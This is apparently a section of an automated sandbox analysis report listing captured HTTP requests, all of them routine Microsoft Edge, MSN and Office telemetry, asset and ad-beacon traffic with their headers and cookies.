Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=39831A78EF4B6A0708630F50EE1C6BA7&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=4b3925d6f1864d11e431a2996cccf375 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=39831A78EF4B6A0708630F50EE1C6BA7; _EDGE_S=F=1&SID=283FF88D109264F73683EDA511CE65A9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1730259281029&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=39831A78EF4B6A0708630F50EE1C6BA7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msDBP.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730259281028&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1588ce342ab149c9a72735bcbeec80ff&activityId=1588ce342ab149c9a72735bcbeec80ff&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=39831A78EF4B6A0708630F50EE1C6BA7; _EDGE_S=F=1&SID=283FF88D109264F73683EDA511CE65A9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=39831A78EF4B6A0708630F50EE1C6BA7&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=44346bfaef544476dcef2615b47eedc1 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=39831A78EF4B6A0708630F50EE1C6BA7; _EDGE_S=F=1&SID=283FF88D109264F73683EDA511CE65A9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1730259281029&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=39831A78EF4B6A0708630F50EE1C6BA7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=101581a1b3b8d4ca385da011730259282; XID=101581a1b3b8d4ca385da011730259282
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730259281028&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1588ce342ab149c9a72735bcbeec80ff&activityId=1588ce342ab149c9a72735bcbeec80ff&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=DB5198AB21244D7CA4AE81CF9061EEB3&MUID=39831A78EF4B6A0708630F50EE1C6BA7 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=39831A78EF4B6A0708630F50EE1C6BA7; _EDGE_S=F=1&SID=283FF88D109264F73683EDA511CE65A9; _EDGE_V=1; msnup=; SM=T; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
